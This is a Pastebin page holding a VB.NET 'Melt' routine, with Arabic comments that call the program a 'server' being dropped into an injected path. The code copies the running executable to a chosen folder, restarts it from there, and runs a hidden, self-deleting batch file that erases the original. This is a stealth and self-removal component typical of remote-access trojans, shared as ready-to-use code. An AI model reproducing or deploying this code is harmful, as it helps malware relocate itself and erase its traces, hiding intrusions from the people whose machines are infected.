Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- ' هو المسار المراد إنزال السيرفر به MeltDir
- Public Sub Melt(ByVal MeltDir As String)
- Dim AppName As String = GetName(Application.ExecutablePath)
- Try
- If Application.ExecutablePath = MeltDir & "\" & AppName Then
- 'لا يقوم بأي شيئ لأن السيرفر في المسار المحقون
- Exit Sub
- Else
- IO.File.Copy(Application.ExecutablePath, MeltDir & "\" & AppName, True) 'نسخ السيرفر للمسار المحدد
- Dim Obj As New System.IO.StreamWriter(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) & "\Melt.bat")
- Obj.WriteLine("DEL """ + Application.ExecutablePath & """")
- Obj.WriteLine("DEL ""%~f0""")
- Obj.Close()
- Application.Exit()
- Process.Start(MeltDir & "\" & AppName) : Shell(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) & "\Melt.bat", AppWinStyle.Hide)
- End If
- Catch ex As Exception
- MsgBox(ex.ToString, MsgBoxStyle.Critical, "Melt")
- End Try
- End Sub
- Public Function GetName(ByVal str As String) As String
- Dim S1 As String = ""
- For i = 1 To Split(str, "\").Length - 1
- If i = (Split(str, "\").Length - 1) Then
- S1 = Split(str, "\")(i)
- End If
- Next
- Return S1
- End Function
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement